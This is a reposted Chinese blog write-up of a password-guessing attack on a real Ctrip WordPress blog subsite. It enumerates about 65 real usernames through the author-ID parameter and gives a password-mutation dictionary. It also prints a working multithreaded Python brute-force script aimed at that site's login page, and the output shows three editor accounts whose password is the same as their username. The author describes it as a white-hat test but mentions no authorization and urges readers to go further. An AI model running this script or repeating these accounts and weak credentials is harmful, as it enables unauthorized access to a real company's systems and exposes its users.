最新消息:

[模糊测试试读]Fuzzing之携程旅行网某分站弱口令

Python admin 2989浏览 0评论
摘要: WordPress在核心代码安全系数很高,而在逻辑设计上却存在可以被用来遍历用户名的缺陷,并且后台登录处存在登录错误消息凭证枚举缺陷,可以直接fuzz出密码。 …

0X00
之前也研究过一些系统的漏洞,exp的编写问题,这里面有用到fuzz技术,那是刚接触,感觉fuzz很神奇,可以知道挖掘漏洞,好强大。
引用杨凡的话:在我的理解中,fuzz模糊测试技术就是通过提交预设的不同类型的参数值给程序,看程序的反应如何,最终发现BUG/安全隐患并进行修复。

《模糊测试》这本书主要介绍的是主要操作系统和主要应用的fuzz测试方法和技巧,关于web安全的fuzzing好像很少,不过这里面的fuzz的技术和技巧可以借鉴到web漏洞的挖掘中吧。

0X01
最近一朋友被携程旅行网挖过去了,回家逛了一下携程网,顺便测试了下。
本次测试,将通过携程旅行网的自身业务逻辑,结合Fuzzing,漏洞自动化挖掘,对携程旅行网进行的一次白帽测试。
其实此次测试,可以说是Fuzzing,也可以说是暴力破解,但是关键在于前期信息收集,规则整理,最后进行fuzz测试,这样的成功效率比暴力破解要高很多。
而且通过收集的信息,进一步组合利用,fuzz成功的效率可到%80——%90,效率是极高的。

0X02
此测试时针对wordpress的,大家都知道Wordpress在核心代码安全系数很高,而在逻辑设计上,却有很多问题。
遍历用户名:
http://ued.ctrip.com/blog/?author=1
162443525j0vr0kntaoj79
http://ued.ctrip.com/blog/?author=55
162448r05oh228718sr7s5
通过如上链接,你只需要不停的更换author的id,就能遍历出整个Wordpress数据库内用户的username。
本次测试过程中,获取到携程旅行网http://ued.ctrip.com/blog/的用户名如下:

1==>用户名:admin
2==>用户名:Lucky
3==>用户名:阿瞬
4==>用户名:GreatHan
5==>用户名:nnMA
6==>用户名:Neao
7==>用户名:小飞猪
8==>用户名:祝
9==>用户名:子子
10==>用户名:m
11==>用户名:Slli
12==>用户名:小灰灰
13==>用户名:≮流光恋羽≯
14==>用户名:PhoDynamite
15==>用户名:匪徒田老大
16==>用户名:nyanhan
17==>用户名:Paul
18==>用户名:蓝带鱼
19==>用户名:boston
20==>用户名:liuff
21==>用户名:雄关漫道真如铁
22==>用户名:jenny_zhuzhu
23==>用户名:xujia
24==>用户名:ycao
26==>用户名:e面包
27==>用户名:点头猪
28==>用户名:wayos
29==>用户名:lexrus
30==>用户名:Summer
32==>用户名:布衣ui
34==>用户名:浩子
35==>用户名:linxz
36==>用户名:henry
37==>用户名:liuh
38==>用户名:wt
39==>用户名:chxu
40==>用户名:linpan
41==>用户名:songchen
42==>用户名:decques
43==>用户名:weixj
44==>用户名:S++
45==>用户名:labuladuo6
46==>用户名:heiwang
47==>用户名:苏昊
48==>用户名:火柴
49==>用户名:dewnerxu
50==>用户名:ScectVonVor
51==>用户名:CoigreeIrrict
52==>用户名:heisizipronee
53==>用户名:test
54==>用户名:hfliu
55==>用户名:豚豚
56==>用户名:hualv
57==>用户名:pencilstub
58==>用户名:neper
59==>用户名:密封罐头
60==>用户名:DLive
61==>用户名:Dailey
62==>用户名:xiaoda
63==>用户名:lqzhang
64==>用户名:Harry
65==>用户名:LYuShine_宇轩

0X03
存在缺陷的登录设计:
无验证码、无错误密码登录次数限制,更操蛋的是,你输入一个不存在的用户名,它还会告诉你是否存在,输入正确的用户名,错误密码,会提示用户的密码错误,无语……
http://ued.ctrip.com/blog/wp-login.php

既然知道了用户名,而且登录接口毫无阻挡,那就开启fuzzing了,测试开始。

这里我们的密码字典规则如下:

%username% = 用户名
%domain% = 公司域名
%username%%domain%
%username%1
%username%12
%username%123
%username%1234
%username%12345
%username%123456
%username%@123
%username%@123.com
%username%@163
%username%@163.com
%username%163
%username%8
%username%88
%username%888
%username%999
%username%666
%username%2008
%username%2009
%username%2010
%username%2011
%username%2012
%username%2013
%username%@2008
%username%@2009
%username%@2010
%username%@2011
%username%@2012
%username%@2013
%username%!@#

0X04
对于Fuzzing的工具很多,这里自己用python写了一个,方便测试,密码字典小速度还不错。

#-*- coding:utf-8-*-
import urllib,urllib2,cookielib,urlparse
import re
import threading
from time import ctime
import time

class MyThread(threading.Thread):
    def __init__(self, func, args, name = ''):
        threading.Thread.__init__(self)
        self.name = name
        self.func = func
        self.args = args
        
    def run(self):
        apply(self.func, self.args)

def get_usernamelist(url,author_id):
    try:
        #url_parse = urlparse.urlparse(url)
        #domain = url_parse.scheme+"://"+url_parse.netloc
        url = url+"?author=%s"%author_id
        #print url
        req = urllib2.Request(url)
        res = urllib2.urlopen( req )
        statue = res.code
        if statue == 404:
            return
        if statue == 200:
            html = res.read()
            if re.search(r'<title>(.*?)\s.*?</title>',html):
                author = re.search('<title>(.*?)\s.*?</title>',html).group(1)
                #print "%s==>用户名:" % author_id + author
                return author
        if statue == 301:
            if res.headers.has_key("location"):
                location = res.headers["location"]
                if re.search(r'/author/(.*?)/',location):
                    author = re.search(r'/author/(.*?)/',location).group(1)
                    #print "%s==>用户名:" % author_id + author + "\n"
                    return author
    except:
        pass

def get_passwordlist(username):
    passwordlist = []
    fuzz_list = ['ued','ctrip','uedctrip','','1','12','123','1234','12345','123456','!@#','@123','@123.com','163','@163','@163.com','8','88','888','999','666','2008','2009','2010','2011','2012','2013','@2008','@2009','@2010','@2011','@2012','@2013']
    for i in fuzz_list:
        passwordlist.append(username+i)
    return passwordlist

def fuzz_password(url,username,password):
    try:
        post_data = {"log":username,"pwd":password,"wp-submit":"%E7%99%BB%E5%BD%95","redirect_to":url+"wp-admin%2F","testcookie":"1"}
        url = url+"wp-login.php"
        cj = cookielib.CookieJar()
        opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
        opener.addheaders = [('Cookie','wordpress_test_cookie=WP+Cookie+check')]
        urllib2.install_opener(opener) 
        post_data = urllib.urlencode(post_data)
        req = urllib2.Request(url)
        res = urllib2.urlopen(req,post_data)
        html = res.read()
        #print html
        if re.search(r'<div id="login_error">',html):
            #print "%s<==>%s, is False ..."%(username,password)
            return
        else:
            print "%s<==>%s, is True ..."%(username,password)
            return
    except:
        print "%s<==>%s, may True ..."%(username,password)
        return
        
def main(url,i):
    usernamelist = []
    author = get_usernamelist(url,i)
    if author != "":
        passwordlist = get_passwordlist(author)
    for password in passwordlist:
        fuzz_password(url,author,password) 
    
if __name__ == '__main__':
    print '\n*** Multiple Threads ***\n'
    url = "http://ued.ctrip.com/blog/"
    print "The Target Is: "+url+"\n"
    threads = []
    for i in range(1,66):
        t = MyThread(main, (url,i), main.__name__)
        threads.append(t)
    if len(threads) != 0:    
        for i in range(1,16):
            threads[i].start()
    for i in range(1,16):
        threads[i].join()
    print '\n*** All Done ***\n'

结合上面收集的用户名,加上我们的规则,加上弱口令,很快就出来几个……

*** Multiple Threads ***
The Target Is: http://ued.ctrip.com/blog/
Slli<==>Slli, may True ...
PhoDyamite<==>PhoDynamite, may True ...
nnMA<==>nnMA, may True ...
*** All Done ***

可惜的是,这几个用户都是editor用户,没有跑出来admin。
当然这里的fuzz_list 可以添加你自己的密码字典去跑admin的密码咯。

0X05
我们来登陆以下看看:
162438edmmrzh8e82z8b8h
剩下的就是我们可以通过这个入口,收集更多的资料,继续构造字典规则,添加密码字典,进行进一步fuzz,得到更多的业务账号,发现更多的漏洞咯。

转自:http://www.f4ck.org/article-1658-1.html

 

转载请注明:jinglingshu的博客 » [模糊测试试读]Fuzzing之携程旅行网某分站弱口令

发表我的评论
取消评论

表情

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址